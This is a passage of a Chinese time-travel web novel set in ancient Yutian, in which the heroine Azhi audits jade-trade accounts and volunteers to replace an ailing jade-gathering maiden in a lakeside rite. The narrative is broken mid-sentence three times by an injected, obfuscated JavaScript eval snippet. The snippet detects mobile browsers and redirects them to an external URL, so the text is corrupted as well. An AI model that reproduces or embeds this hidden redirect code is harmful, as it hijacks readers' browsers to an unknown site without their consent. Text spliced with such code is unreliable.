阿祇早已规划好了于阗到精绝的路线,有靠谱的商旅同行,自然更为稳妥,所以才找上经验丰富的郭谦,不过郭统领好像有难言之隐。 沉默半晌郭谦开口,“想何时走?” “如果有合适的商队,诺鲁孜节的采玉祭后,越快越好。” 李瑾断然拒道:“我不同意!” 20. 玄玉阁 碧空流云,汉式的庭院门廊前身穿束腰白裙的女子,侧颜如画,好似清晨雨露刚滋润盛开的山涧杏花,清雅胜过人间繁花无数,美好得不忍打扰。宋繇远远走过来,不由地停下脚步。 女子手捧书册,长发松散的束在身后,蓝纱绕着优美的颈项从左肩垂下,静静地看着外面熙攘的人群不知在想什么,似乎感觉到凝视的目光,转过身,一丝笑容淡淡在脸上绽开,“早,掌事。” 宋繇行事果断就是脸皮太薄,面对女性,动不动就脸红,“阿祇,你可以直接叫我的名字。” 她浅浅一笑,送上誊写好的账册,“我已经核对过了,数目无错,账本都在这里。”没有算盘能力的账房不是好账房,幸好她辅修数学,从小擅长心算不辱使命。 “嗯……很好。” 宋繇也不知再说些什么,将账本交给随行的仆人,带阿祇走出大门才想到一句:“这衣裙很衬你。” 这是昨日新送来的于阗样式夏衫,阿祇很喜欢,“多谢宋掌事,今天第一次去玄玉阁是该正式些。” 多亏了米耶帮她装扮,于阗女子的衣裳轻便,没有蒙纱遮面的风俗,阿祇不习惯丝质长裙,婢女们送来的女装很好看,修身精致,没有街上女子衣裙的轻透豪放,其实作为一个现代人,辛薇没有特别保守的意识,单纯觉得束腰长裙勒得慌,不方便走路。 玄玉阁遥湖相望,步行不过半个时辰。 两人步行走在街上,桑树连荫,满目繁华。 女子们笑容灿烂,风姿绰约露出腰肢,三五成群地走在街头,男子们有的爽朗大笑,有的大声吆喝,贵族打扮的腰间戴长刀佩剑,好一派繁华景象。太阳透过树荫洒下斑驳的光,让身边的女子有些眩目。宋繇手心出汗,商队到达于阗数日,他忙着不去见她,有些事能拖一日便拖一日。 “别院的阿帕(嬷嬷)准备了这件衣裙,说女子都喜欢美丽的衣裳,半月后就是采玉祭,再送件新的衣裙给你。” “这件很好,其实我更喜欢那件胡服,赶路方便。” 宋繇问:“你决定了?” “嗯,我托郭管事联系了商队。” 宋繇清俊的眉微微皱起,欲言又止。 阿祇昨日见识过闹市,眼下惊异于浓郁风情的城邦,当二人踏上青石铺路,极具异域风格的建筑多了起来,在线条流畅的圆顶穹宇王城之外,一片碧波荡漾的亭台楼榭,那里就是于阗的“玄玉阁”。这座汉式阁楼,北临于阗王宫偏殿拂云楼,南望青山碧水,门口左右铜雀一对,眼前楼宇叠峦三层,飞檐拂云,回首远眺可见皑皑雪山层峦,近处湖心之中建有高台,一条观榭长廊通向湖心,立于台阶之上,方圆十里如塞外仙地。 宋繇停下脚步,随她一同看这景致,微风至,玄玉阁屋檐金铃摇响,轻灵入耳。 二人感慨,心情迥异。 “……太美了。” 远眺,烟波浩瀚,天水一色的人间仙境令人心旷神怡,阿祇只叹历史长河的人文造诣。宋繇眉眼舒展,胸中气宇翻腾,十年,阿兄仅仅用了十年,玄玉阁便屹立于塞勒湖上。 在阿祇的记忆中,史书对李暠幼年时期的记载很少,“年少好学,性格宽和,读遍经史。”其实,一个人从遗腹子的命运,直至立下开基建国的治世之功,必然有不为人知的努力,不由心中赞叹。 “长云共浮天无际,双阙中天人芳华。” 玄玉阁的门口有女子声音传来:“刚才的都给我包起来,全部送进王宫。” 一位穿着红色华美宫装的艳丽女子走出楼阁,眉毛细长而黑,眼睛深邃明亮,身材饱满,神情居高临下地看着他们,三五随从紧跟其后,纷纷低着头,有的捧着红漆礼盒,有的还抱着绫罗丝缎,不远处更是有几个强壮男人抬着的金丝纱幔轿辇,可见他们主子的身份非凡。 玄玉阁的掌柜恭敬立于店门口,恭敬得送别客人。 “公主慢走。”掌柜用于阗文对红衣女子道。 被众人围绕的公主停下脚步,见到台阶上站着一男一女,男子眉目清俊年纪稍轻,眉眼似曾相识。女人天生对同性更敏感,很快公主把目光移到阿祇身上,从头到脚打量一番。汉人?长相还行,眼睛太亮,身子太单薄,细腻的脸蛋有些碍眼,额间的花钿更加招摇,总之她不喜欢。 脸色一沉,盯着阿祇的耳垂,那里有颗晶莹的碧绿水晶,原本不值几个钱,由于辛薇一起穿越了时空,自然珍贵无比。公主理所应当的口吻,问:“汉女,本公主看上你的绿松石耳饰,用一匹马和你换。” 阿祇食指抚上耳钉,按之前学到的于阗礼仪,微微屈膝颔首,“尊贵的公主,我的耳饰并不是绿松石所制,家母留给我的一点不值钱的念想,不卖。” “大胆!”旁边的婢女站了出来训斥。 “既然你知道我是公主,看上你的东西就是你的荣幸,如果不喜欢马,金银玉器或是奴隶、男人,只要你开个价,本公主就换得起。” 宋繇走上前,“阿依夏木殿下,在下玄玉阁掌事宋繇,家兄李玄盛从中原带来上好的丝绢和南海珍珠,让我献给于阗最美的公主。” “玄郎君来了?” 红衣公主急急问:“他在哪?” 方才趾高气扬的阿依夏木顷刻换了笑颜,她每年都在等待七月采玉祭的到来,因为只有这一天,那个骑着白骆驼的男人才会从东方而来。 宋繇没有带给公主想要的答案,“阿兄有事耽搁,不知道能不能赶上采玉祭,已交代在下奉上礼物,稍后我便让人送去王宫。” 阿依夏木脸色阴沉了下来,皱起眉头,“你送的我不要,什么时候玄郎君来了,他亲自送我才要。”笑话,她在王宫最不缺少绫罗珠宝,也不是什么人送的礼物都会接受,作为于阗国唯一的公主,她有傲慢的权利,甩开臂环上的丝带,拎着裙摆赌气离开。 与阿祇擦肩而过的时候,斜瞥了一眼,“你的耳饰,丑死了。” “让开!”阿祇也不恼,侧身礼让阿依夏木。 从湖畔这座中原楼阁起建之初,就盼望有一天能成为这里的女主人,于阗国唯一的公主就求过父王,父王却告诉她,大漠里想把公主嫁给这位李家主的国家不计其数,没听说他接受过任何联姻。阿依夏木不屑,别国公主怎能和她相提并论,不说于阗在西域大漠最富甲一方,身为于阗国唯一的公主,聪慧、美貌又多金,无数男子跪拜在她的裙下,玄郎君怎可能拒绝? 阿祇看着离去的骄傲背影,长吁一口气,“……我现在对家主是越发敬佩了。” 两人会意,相视而笑。 西域的民风开放,没有中原儒家的重男轻女,老于阗王钟情王后,只生下阿依夏木一位公主,阿依夏木在王室很有权势,将来很有可能会继承王位。宋繇无奈摇了下头,“走吧,进去看看。” 二人不再讨论这位公主,走进玄玉阁的大门。 玄玉阁与于阗王宫遥相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618626|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼应,地位可谓超然。门口一位长相端方不苟言笑的中年男人毕恭毕敬地朝他们行礼,这就是于阗玄玉阁掌柜倪腾,据说玉石雕刻技艺十分了得,将玄玉阁在于阗的生意打理得井井有条。 “掌事,阿祇娘子里面请。”倪腾双手抱拳,行汉礼。 阿祇则周到地对他回礼,“见过倪掌柜。” 当众人迈过门槛,看到满屋琳琅摆设,阿祇忍不住对宋繇低声赞道:“倪掌柜不仅账目严谨,技艺精湛,而且品味不俗。”在没有先进雕刻设备的古代,很难想象这些匠人的手艺,将是传承千年文化的传奇。 “倪叔早年随李伯大漠行商,后来留在和田城的玄玉阁,二十年来兢兢业业,前年于阗大旱百姓饥荒,也多亏有倪叔支撑。” 阿祇素来敬重无名英雄,回头对微驼的倪掌柜,又郑重行了个汉人礼节。 待他们走入后堂,这里摆设雅致,架子上除了经年账册,还有各种奇形怪状的玉石摆件,露出一半翠玉,玄玉阁从来不缺籽料,每年遇到特别鬼斧神雕的就会留下,天然去雕饰,别有一番趣味。 “掌事,娘子请坐。” 后堂摆着几个上好木材雕刻的胡床,早有人奉上茶点,看来倪掌柜早知道他们要来,宋繇介绍阿祇给倪掌柜,“倪叔,阿祇是商队新来的文书,今年的账就由她和你对吧。” “娘子,有问题尽管问。” “倪掌柜客气,阿祇确实有几个疑问想向您请教,如有贻笑大方之处,还请您多包涵。” “好说。” 账册的明账没有丝毫问题,只是数字变化太大,于是她开门见山,“和田城玄玉阁往年收益浮动不过一两成,为什么去年的收益却比前年多了四成?”倪腾看向宋繇,见他默默点头后,如实作答。 “咱们的籽料产量,全看夏季的雪水洪流大小,前年干旱,赛勒湖水位不及湖心高台立柱的一半,好在冬季雪多,去年喀什河水流充沛,待河水清澈,深山峻岭流下的玉石遍布河滩。” “那和田城的百姓岂不是都去捞玉了。”阿祇疑问。 “非也,于阗国视玉石为珍宝,每年采玉祭王公贵族亲叩天神,采女下水,官采才正式开始,所谓官采为先,民采从管,取之有道,这才保证籽料的源源不绝。” 经他这一提醒阿祇恍然,“羌肩跣足列成行,踏水而知美玉藏,一棒锣鸣朱一点,岸波分处缴公堂。”可见捞玉是何等严格。 宋繇端起茶盅,闻着茶香缭绕,“采玉祭不过是个仪式,于阗每年只许采玉三个月。” “那我们玄玉阁收的是官采?还是民采呢?” 如此严格的官采制度之下,河中的玉石财富,全为官府垄断攫取,所谓民采只能等官奴沉重的差役后,才能在有限的区间捡点残羹冷炙。倪腾略带欣赏地看了眼新来的文书,返回的账目核实详尽,一介女子不仅聪慧,难得也心思通透,为人谦和。 “咱们做生意,当然不论官采或民采,只要货品经得起推敲,玄玉阁就给得起价格,童叟无欺。” 一旁的宋繇,用茶盖轻轻拂开几片碧螺春,悠哉品茶。资本的力量果然强大,上通王庭,下惠百姓,既然做的就是买卖,有卖就有买,阿祇佩服玄玉阁在其中的斡旋,账目无误,文书送还,她的话适可而止。接下来,三人开始闲聊起今年采玉祭的筹备。 一炷香后,有个伙计急匆匆跑来。 “掌事不好了,有个采女不见了。” 21. 采女 玄玉阁与于阗王室关系甚笃,又是以玉石贸易闻名天下,算是诺鲁孜节采玉祭的半个主办方,采女不见,事关重大,于阗的官采局乱了套,连宋繇与倪掌柜等人都紧张起来,三日未见人影。 夜深,阿祇正要休息,有人敲门。 她披了件外衣,开门竟是眼含泪水的米耶,话还未开口,人已扑通跪下。 “米耶,怎么了?”阿祇吃惊,一把拉起她。 “阿姊,求,求你救救我阿姊。” 这么多阿姊,阿祇一时没反应过来,米耶哭着道:“他们要把我阿姊带走顶替采女,可是我阿姊身子熬不住了。” 阿祇坐在案几旁柔声安慰,“到底怎么回事?” 温暖的茶杯被塞进米耶的手中,小娘子用袖子抹干眼泪。原来每年七月十五的采玉祭上,九名采女在月光致盛之时下水捞玉,开启祭祀。采女皆为从小接受训练的处子,也称为阴女,不得婚配,十五岁后若落选采玉祭采女被允许放回家,但很多女子因常年浸泡冰水之中伤了根基,无法生育。 “阿姊七岁被选入官采时,我才一岁,等我入选的时候阿秭本可以获得自由,但是我水性差身子弱,阿姊便自愿留下代替我,阿妈死后玄玉阁收留了我,今年阿秭二十一岁,身体已经快熬不住了,如果再被选上采玉祭采女,又是五年。” “所以你想代替阿秭?” 米耶点头,眼泪又不停地流了下来,“阿秭是我唯一的亲人,上次写信她说今年的采玉祭没选上她,马上就可以自由了。” “米耶,那你为什么来找我?” 米耶眼睛不敢直视阿祇,郑重跪拜乞求,“我想换下阿姊成为采女,可是……他们不许。” 阿祇皱眉,“这也不是我能决定的。” 米耶仍旧跪着不动,阿祇扶她坐到自己身边,小娘子身量才到她肩膀,大眼睛含泪看她,惹人怜惜。阿祇道:“我只是商队的一个文书,人微言轻,采玉祭事关重大,就算我能帮你,你可曾想过万一出了事,另外八个采女又该怎么办?” 离七月十五只剩半月,阿祇看眼前咬着嘴唇沉默的小米耶,她并不觉得自己能回应她的选择,“对不起米耶,我帮不了你。” 米耶一大滴眼泪落在膝盖的裙摆上,哭着说:“我早年被除名,官采大人说不和规矩,倪掌柜也不肯帮我……阿秭去年偷偷告诉我,她有了心上人,长年浸水让她癸水绝迹,将来无法嫁人生子,若被选上采玉祭采女还要再一年,身子肯定更熬不住。” “我理解你的心情,但下深水采玉十分危险,你毫无经验更可能凶多吉少。” “我不怕死。” 米耶心性坚定,反握她的手,“阿秭,你会帮我对不对?你,你是……神女转世,祖慕祇。” 米耶又重重磕头:“求您庇佑!” 阿祇俯看匐在地的女孩,内心震惊无比,“世上很多事情我都无能为力,我自己也有一个阿秭尚且救不了,又怎拯救世人。” 站在门口目送女孩离去的背影,她心中一沉,祖慕祇的名字是天神转世,是精绝王室才知道的秘密,如果连玄玉阁的侍女都听过这个传说,那宋繇?李暠呢? …………………………………… 七月初七,雪山脚下的绿泽湖畔已经热闹起来。 长相各异的客商越来越多聚集在和田城,阿祇得到了郭管事的好消息,有一支胡商采玉祭后的第二日便要出发去中原,他们要途径且末、精绝和鄯善,然后到达敦煌。郭谦与一个胡商领队相识,他们答应阿祇同行。天刚亮,阿祇在整理好最后一批文书后,决定去见宋繇。 刚出门,就见到一个青色的身影,她喊住他:“小林,你知道宋掌事在哪吗?” 小林正在整理院子,阿祇最近很少看见他。 “宋掌事一早就去祭台那边了,今日要跟官采的大人们商量采玉祭的事。” “采女的事还没有解决?” 小林摇头,表示不知。玄玉阁作为大漠玉石最大的采购商,在于阗的根基已深,所以采玉祭算半个主家,这次出了这么大的纰漏,李暠不在,宋繇便忙得不见人影。小林机灵地说:“阿祇秭秭放心,以前出过再大的纰漏,也没有玄玉阁解决不了的。”说完憨憨一笑,很是自信。 “离采玉祭不到十天了,我想去祭台看看。” 小林从怀里翻找起来,没多会儿,就掏出一个牌子,递给她,“这是玄玉阁的通行令,宋掌事说如果你想找他可以随时拿去用,有了这个,除了王宫,和田城想去哪里都畅通无阻。” 阿祇感激地接过小小玉质令牌,“玄”字刻得精巧莹润,一看就是上等玉石籽料制作的,小林神秘兮兮地凑过来,小声道:“这个玉牌还有个妙用,就是可以在天下的玄玉阁产业都可以赊账。” “这么重要的东西,你给我?” 阿祇觉得手上的东西有点烫人。 “宋掌事说了你能用,阿祇秭秭不需要了,再还给我便是。”小林黑瘦的脸庞笑容灿烂真诚。 “那好,等我回来就还你。” 阿祇最近常在和田城走动,对周围的环境早已熟悉,她谢过小林,一个人朝塞勒湖走去。塞勒湖已被封禁,闲杂人等不得入内,但守卫见这个蒙面的汉人娘子手持玉牌,立即放了行。想着事情,穿过层层建筑,阿祇不觉来到一幢华美的殿宇前,牌匾上刻着三个苍劲的汉文“拂云殿”。 身后传来一个熟悉的声音:“阿祇,你怎么来了?” 阿祇转身看到是宋繇,他装扮郑重华美显得气宇轩昂,恍惚间,颇有几分白骆驼主人的风华,知他这几日与官采局的人商议大事,眼中尽是疲惫。 “你注意身体。” 宋繇听她关心的话,心一下子暖了起来,眉眼也舒展开,他盯着女子的脸失神,额间朱砂犹如带着魔咒,他长袖下攥紧手掌,“我会的。” 阿祇看他的眼神不由想起了黑风暴那夜,他也是这样看着她,情窦初开的年纪在惯于隐忍的宋繇身上最是矛盾,她不想招惹这样单纯的少年,不着痕迹地保持些许距离。她听宋繇问:“商队已经找好了?” “嗯。” “什么时候走?” “七月十六。” 宋繇侧过身缓缓道:“知道了。” 远处有悦耳的铃声响起,他们转身望去,只见一排袅袅裙摆的窈窕身影由远及近,铃声就是从这些女子身上传来的。几个异族女子白纱蒙面,依次从他们身边走过,这些女子身型瘦削眼窝深陷,脚踝系着银铃赤足走在石路上,好像一缕缕飘荡的游魂。 正好九个,阿祇惊道:“她们就是采女?” 宋繇默认,看她们远去的身影,想到其中一位也许是米耶的阿姊,阿祇不由唏嘘。 前世的辛薇,曾记得这样一段文字:“凡玉映月精光而生,明月夜望河候视,玉璞堆积处,其月色倍明矣。”古人相信玉石凝聚月亮的精华,自带灵气。这有点像深山里的人参,最老的人参成了精,随时有消逝的可能。所谓采女即阴女,她们就像能够绑住人参的红绳,于阗人认为处子能在月光下的水中吸引玉石,其实都是无稽之谈。 “米耶找过你了?”宋繇突然开口。 阿祇看着他认真的神情,点了点头,也没什么好否认的,“她来求我,我答应了。” 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630101|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 繇脸色是从未见过的严肃,“跟我来。” 他径自往前走,阿祇只好跟上他的步伐,登上拂云殿。这座高塔建筑本是王宫的望楼,也是采玉祭当天于阗王招待贵宾的地方,两个正在清扫的侍女见到他们之后默默退出。 宋繇不语,阿祇随他走上最高一层云梯,拂云楼极尽奢华,顶层四面窗口皆开,好一座观景台。这里红色与金色帷幔装饰得富丽典雅,南方的宽阔露台,正对赛勒湖中央的祭台,远眺正好看到那九个妙龄女子的模糊身影。湖心早晚起薄雾,恐怕采玉祭当夜,连身形都可能看不清楚。 “那边是……” 阿祇远眺佳人,陆续消失在水中央。 “采女祭祀已有百年,私自逃跑所牵连的人皆要祭湖难逃一死,你真想帮她吗?” “你以为,我是要帮米耶的阿姊逃跑?” 宋繇盯着她,“难道不是?” “一个人和八个人的命运对我而言同样重要,如果为了救米耶阿姊而连累别人,非我所愿。” “但你还是会帮她?” 相处时日虽然不久,但宋繇早看出阿祇看似理智,其实她的心肠柔软外冷内热,对弱者尤其同情。宋繇无能为力,只是不想阿祇卷进来。阿祇显得十分坦然,带着祈求的眼神看向宋繇。 “我想救米耶的阿姊,想来想去只有一个办法,那就是我替她成为采女。” “不可!”宋繇断言拒绝。 宋繇往前走了一步,指着窗外的湖光山水,义正言辞道:“采玉祭采女都有数年的训练,届时于阗整个王室贵宾到时将聚在这座拂云殿,上百双眼睛盯着祭祀仪式,湖岸外围聚集成千上万的人,采女在众目睽睽之下藏无可藏,逃无可逃。” “请你相信我的水性……” 宋繇怒其天真,异想天开。 来自后世的辛薇,暑期作过几个月潜水助教,未时到戌时的几个时辰,只要合理体力分配,以不计采集籽料为前提的潜泳应该能对付。 宋繇拒绝地干脆,“湖水源自天山冰寒入骨,塞勒湖月夜暗流莫测,七月十五戌时采女入水,即便经过多年训练,也有采女再没从水中出来。” “我研究过塞勒湖的水流。” 阿祇慎重地解释她的研究成果,“这几天查过和田史书杂记和风土志,塞勒湖周边的岔道小路我了然于胸,老采女们也指点了我塞勒湖的水温暗流和玉石分布,我的目标不是采玉,而是自保,只要玄玉阁给我个行个方便,我会量力而行。” 宋繇仍认为她的想法过于冒险,他曾亲眼目睹过采女溺毙,那些经过多年苦训的女孩们尚且坚持不住,他又怎肯相信阿祇的一时冲动。 “阿祇,明日我就派人送你去精绝。” 少年第一次在她面前表现得不容置疑,与其让阿祇送死,他宁可立刻送她离开。阿祇没有如他所愿,甚至都不惊讶为什么宋繇知道她要去精绝,她冷静地说:“玄玉阁若不愿为我作保,听说采女自荐也能得到入选资格,通过测试还能得官家赏赐?” 宋繇少年脸色因激动而泛红,语气加重了几分,“采女自荐多出自贫寒,她们是在卖命,生死不论。” “每个人的命都很重要,我不能改变规则,但周密筹备或许能将损失降到最低,这是我深思熟虑后作出的选择,请你帮我。” 阿祇换上郑重的口吻,也让宋繇看到她的决心。 两人皆沉默,阿祇静静看着少年,“如果玄玉阁不能出面,请你原谅我的冲动,我想将生死和自由握在自己手里。” 她浅笑,又故作轻松:“不瞒宋掌事,昨日我用龟壳卜了一卦,这次采玉祭,定会逢凶化吉。” 22. 风雨欲来 城郊别院。 天色将黑,后院的湖畔传来了狗吠。 暮色中月亮升初水面,一只猎犬焦急地望着水面,偶尔直接跳向湖水踏水,要么来回游两圈,直到熟悉的那张脸探出水面,它才兴奋地吼叫。 米耶大喜,“阿秭,你怎么样?” 米耶无时无刻不紧张地要死,想当初她就是无法适应深水下的恐惧,几乎被淹死,最后才被官采除名,赶了出来。水中的人儿,扬起一只手臂,“找到了。” 岸上站着另外一个佝偻的身影,她是宋繇特意请来的采女教习阿嬷,负责急训测试阿祇是否有能力胜任采女的能力。刚才,就是她丢进湖里一把玉石籽料,今日不是月圆之夜,阿祇本没觉得这有什么影响,事实上,她太乐观了,在没有照明的前提下,潜进湖里一片漆黑,半天才找到一颗玉石籽料。 米耶两眼泪水涟涟,阿秭这么辛苦,全都是为了她们秭妹,“阿秭,上来休息一下吧。” 阿祇嘴唇泛着紫色,打着颤音道:“水,水里比较暖和。” 这里是李暠的私人别院,主人不在,府里被宋繇安置地十分保密,阿祇训练这几日,没有人来打扰,包括他自己,只是阿嬷每日向他汇报。宋繇安排她以汉女尹氏的身份,自荐采女。 尹氏是凉州小族,并没有多少人知道,多亏了李瑾的桃花债,阿祇的汉人身份顺水推舟,成了独立的人选,经过试炼,过了名录,成为采玉祭祀中的九位采女之一,替换下了病弱的米耶阿姊。 历来民采的采女们中不乏汉人女子,她们大多是来西域讨生活的穷苦百姓,也有落魄的士族女子,毕竟奖励丰厚,阿祇是自由之身,有玄玉阁作保依旧要签生死状。值得开心的是这次意外之财出乎意料,没想到下水一次,相当于她作十年文书的俸禄。 米耶一脸好奇看阿祇用龟壳卜卦,但在她眼里,祖慕祇无所不能。其实,阿祇当初看到这副龟壳,纯粹想起看过的一部古书册,从书里学的占卜半吊子,给自己行了卦象,“龟有神龟、灵龟、摄龟、宝龟,这只龟壳有青髯,正所谓‘宝者何,龟?纯’,传说可逢凶化吉,实乃宝龟一枚。”她对这些曾经只在课本上读过的东西,带着难以抗拒的心情,买了后才知囊中羞涩,她是很需要足够的盘缠,才好上路。为了哄哭哭啼啼的米耶开心,也为了宋繇和李瑾等人安心,便扯了这个大话。 “等等,我好像又看到一块籽料。” 一头扎入水中的阿祇,这次闭气的时间更久,不仅岸上的米耶和努尔看着焦虑,连在远处树上的人,也开始藏不住焦躁不安。 男人的声音嘀嘀咕咕:“这么远,也不知道她练得怎样了?” 自从上次偶遇,李瑾就对拯救自己颓败人生的“恩人”有种义不容辞的热情,世间人美心善又能对上他眼缘的聪明娘子,可遇不可求。等了一会,他又急了:“怎么半天还不出水面?” 李四郎心急如焚,恨不得跳下水去将他的女人给捞出来,真不知道宋繇那个小子是怎么想的,竟同意阿祇去做采女这么危险的事情。 “胆子真大,求本郎君作保亲自采玉,还不如直接买个采女来得简单。” 转念,他又有些窃喜,阿祇采女的身份正好是他安排的老家凉州天水尹氏,舅父尹文之女,传说中与他有婚约的尹娘子。有他李瑾李元正做的保人,量那些于阗人也不会为难他的女人。 “小李管事,你在树上又气又笑的,在做什么?” 不知什么时候,小林和努尔散步到树下,看到高高在上的小李管事看着远方的湖水傻笑。 李瑾吓了一跳,从树上跌了下来。 湖面波动,那边阿祇终于冒出了湿漉漉的头,开心地挥了挥手,手心握着的第二块籽料。 阿嬷冷言提醒,“采女要懂得敬畏,不可外露喜乐悲苦。” 阿祇收回手,抹了把脸上的水,道:“知道了。” 随即,人又入了水。 谁也没留意,在远处的灌木丛里,努尔如闪电冲脱出小林的束缚,朝灌木丛里冲了过去,一个黑影吓得撒腿就跑,努尔对猎物有契而不舍追逐的兴趣,狗吠、男人的惨叫,小林的声音,响彻了别院的夜空。 ………………………………………… 明月之下,山丘荒漠。 近百人组成的驼队正连夜穿梭在偏僻的大漠戈壁,他们全部头戴兜帽脸带面具,训练有素地驱使骆驼速度飞奔,如果不是风声呼啸,可能连一点行进的动静都听不到。 一道雄鹰的鸣叫划破夜空,显得如此刺耳。 稷冷肃的声音,“家主,是二郎的信。” 雄鹰落在稷的肩上,与给阿祇传信的苍颉不同,这只鹰的身量几乎是苍颉的两倍,展翅翱翔的速度无人能比,收到木牍时那人并无喜怒,这与他之前收到苍颉送来的书信表现出的期待之情截然不同,然而这一次就着火折子读信,眉头皱起。 月白如霜,疾驰大漠中的玄羽衣首领,正是李暠。 “苍颉最近有来送信吗?” 笼在黑袍下的稷垂首:“没有。” 李暠坐在白骆驼之上神情威严,“漏网之鱼有什么动静?” 稷谨慎回答:“正在按收网的方向逃窜,会准时到于阗地界,若无意外那边可以招安。于阗那里已按主人的吩咐安排妥当,若有意外,胜算也有八成。” 玄羽衣明面身份是李家的部曲,其实是玄玉阁暗中豢养的精兵,身为李家家主兼玄玉阁阁主的李暠,从日渐示弱的大族遗孤一路走来,凭借的从来不是幸运。 李暠点着大漠舆图,说:“吕纂的追兵到了哪里?” 稷刚收到的消息,立刻回禀:“应该还在疏勒,恐怕吕纂还要被羁绊一阵。” 李暠牵紧缰绳,久未答言。 疏勒位于南、北漠的交会点,是西域的大国之一。 “疏勒东去龟兹五百里,西去突厥千里,此番收到白纯的求救信置若罔闻,显然已经投靠了突厥作靠山,疏勒王阿弥厥此人纩厉善变,吕纂那五千骑兵一路急行,突厥定救援不及。” 与虎谋皮前途凶险万分,稍有不慎,便是粉身碎骨的覆灭,李暠速来行事谨慎。 “吕纂可按计划行事?” “是。” “攻下疏勒,便能长驱直入漠南。” 李暠略微沉思,随即又对垂手肃立的属下下令,“玄羽衣,急行军。” “得令。”稷拱手。 西域漠南疏勒地界,一支五千人的骑兵挥着“吕”字大旗,已被堵在城池之外一天一夜。疏勒国大城不过十二,养兵两千,疏勒王阿弥厥守城拒不迎战,吕纂率领的是急行军,临行前大将军嘱咐他不可冒进,只要做出围攻的架势,两日即有贵人助他破城。果不其然,一支神秘力量断了疏勒朝贡突厥可汗的稻、粟、麻、麦、铜、铁资源商队,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玄羽衣行踪不定,李暠答应协助征西军平定西域,换商队大漠行走自由。彼时,双方利益不冲突,吕光接受了玄玉阁的投诚,有李暠的暗中相助,吕纂的五千铁骑,长驱直入漠南,除了在疏勒遇到些麻烦外,只途经皮山境内时,遭遇狯胡王偷袭,人马并无损失,却丢了些粮草。说起狯胡王星夜,就是当初龟兹王白纯重金贿赂来的援兵之一,三十万胡人围剿龟兹未果,星夜狡猾地先逃亡漠南,吕纂被吕光授为先锋,剿灭残军,一统西域。 早在龟兹混战后,吕光在漠北根基已稳。谁知,大秦天王苻坚的八百里诏书,直达龟兹。吕光一把将诏书扔给段业,怒道:“主上就不该任命他那个弟弟苻融为帅,淝水之战大败,八十万大军,竟然打不过东晋姓谢的文臣带的区区八万人马。” 段业身为参军,在苦寒风沙中征战一年,自是懂得吕光的怒气。 “大将军即将一统西域,创下昔日汉武不世之功,大秦主上当以大将军国师待之,怎受他人驱使。” 诏书有大秦天王苻坚之印,吕光不敢违抗,但仍不忿,创下不世之功如何?国师又何如?不还是轻易被调去符融那厮当救兵,然而这话他是说不出口的,只问段业:“参军如何看?” 段业捋着胡子踌躇犹豫,“八百里急诏,既已送至龟兹,抗旨怕不好交代。” 吕光缓和口气,似诚心一问:“可有良策?” 段业见吕光面无急色,知他早有盘算,便顺着吕光的意道:“大将军大业将成,正所谓将在外军令有所不受,主上虽然急召援兵,却未可知征西军将士伤亡情况,吕纂将军率五千铁骑未归,不如就留在西域……” 吕光不置可否,“竖子恐怕难当大用。” 段业自信推荐:“吕纂将军定是无虞,昨夜我占得一卦,将军将得吉人相助,利西方。” 吕光眼中精光闪过,与段业默契一笑,他们同样想到了所谓“吉人”,于是便有了这几日吕纂的“天降军师”。吕光的军权原本不大,大秦南下主力折失殆尽,朝中必定大乱,中原恐怕已是血雨腥风。吕光扶持好龟兹傀儡新王,花了几日安排好一切后,立刻率领大军班师。他的队伍里,除了多了无数西域宝藏外,还多带走一人,那便是苻坚心心念念的,鸠摩罗什。 23. 采玉祭 七月十五,于阗采玉祭。 明月出昆仑,清晖洒大地。 月圆精华之盛昭示祭祀采玉之始。岸上能看到火光,那是于阗百姓在踏歌,人们祈求丰收、祭祀天地。祭祀湖心,为保持天地纯净,早有官兵封锁了祭台,即便是王公贵族也只能在拂云殿观礼。 夜色中一轮圆月正当空,映照出采女的脚下碧波如镜。落日后温差,湖面已经开始满起水雾。湖心处的祭台上,九个采女依次排开,她们身穿白色薄纱手持夜明珠,围着祭祀台跪坐,静等大祭司。远远望去,女子们恍如夜色中的仙子,飘渺圣洁不可亵渎。灯火辉煌的拂云殿上渐渐安静下来,那边聚集了阗王室与西域最尊贵客人们,宋繇也在其中,他与祭台遥遥相望,仿佛相隔天上与凡尘的距离。 水雾浮动,夜色中,有鼓声起。 神秘的戴着宽目大耳面具的大祭司,缓慢从黑暗中走上祭台,采玉祭典开始了。玄衣祭司走过跪坐的众采女未做停留,踏上中央台阶,站在青铜大鼎之前焚香祷告,阿祇不敢抬头,腿跪地有点麻,暗中动动脚趾,脑海里再次温习细节,仍有些莫名不安。 采女们蒙着面纱,在大祭司开始唱诵古老的祭祀歌谣声中,一个个起身,朝映着粼粼莹辉的湖水走去。阿祇的潜水娴熟,宋繇虽不得亲见,但是听采女训练的阿嬷说,比训练多年的采女也不遑多让。远在拂云殿上,根本分辨不出采女身形,只见湖中心篝火跳跃。 长袍曳地的阿祇走在最后,正暗自咬牙,太坑了,如果一开始有人告诉她,祭祀采女下水是不穿衣服的,说不定她当初答应得就没那么痛快了!眼看前面少女们衣衫落地,纵身一跳,水面溅起朵朵水花,姣美的身躯融入碧波。 走向湖心,终于轮到了自己。 